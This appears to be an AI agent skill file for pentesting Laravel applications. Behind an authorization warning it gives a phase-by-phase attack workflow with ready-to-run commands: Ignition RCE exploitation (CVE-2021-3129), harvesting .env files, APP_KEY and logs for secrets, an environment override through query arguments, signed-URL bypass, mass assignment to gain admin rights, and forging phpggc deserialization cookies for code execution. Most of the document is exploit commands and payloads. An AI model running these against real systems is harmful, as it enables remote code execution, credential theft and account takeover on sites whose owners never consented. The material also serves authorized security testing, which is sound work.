⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-LARAVEL — Laravel Specific Vulnerabilities

Crown Jewel Targets

Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).

Highest-value findings:

  • Ignition RCE (CVE-2021-3129) — APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth
  • Telescope dashboard — /telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
  • Horizon dashboard — /horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
  • Signed URL manipulation — if URL::signedRoute validates wrong params → bypass signed URL → unauthorized actions
  • .env exposure — APP_KEY leaked → decrypt all encrypted cookies → forge session → ATO

Phase 1 — Fingerprint Laravel

# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

Phase 3 — Laravel Telescope & Horizon

# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

Phase 4 — .env File & APP_KEY Exposure

# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"

# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user

# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

Phase 4b — Environment override via query args (CVE-2024-52301)

When register_argc_argv=On (php.ini), Laravel parses the query-string as CLI args, so ?--env= overrides APP_ENV over HTTP -> flip the app into local/testing config (debug on, seeded creds, weaker guards).

curl -s "https://$TARGET/?--env=local"          # force debug/local config
curl -s "https://$TARGET/login?--env=testing"    # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.

Phase 5 — Signed URL Manipulation

# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"

# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"

# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"

# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"

Phase 6 — Mass Assignment via Eloquent

# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests

# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
  -H "Cookie: laravel_session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'

# Registration
curl -s -X POST "https://$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'

Phase 7 — Laravel Cookie Deserialization

# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains

# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64

# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

Chain Table

Signed URL bypassUnauthorized actions (unsubscribe any user, etc.)Medium-High

Validation

✅ Ignition RCE: id command output returned in response ✅ Telescope: API responses contain DB queries with credentials or user tokens ✅ APP_KEY: Forged session cookie accepted, returns another user's profile ✅ Mass assignment: is_admin: true accepted, account now has admin privileges

Severity:

  • Ignition RCE: Critical
  • Telescope/Horizon with sensitive data: High
  • .env with APP_KEY: Critical
  • Mass assignment to admin: Critical

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief
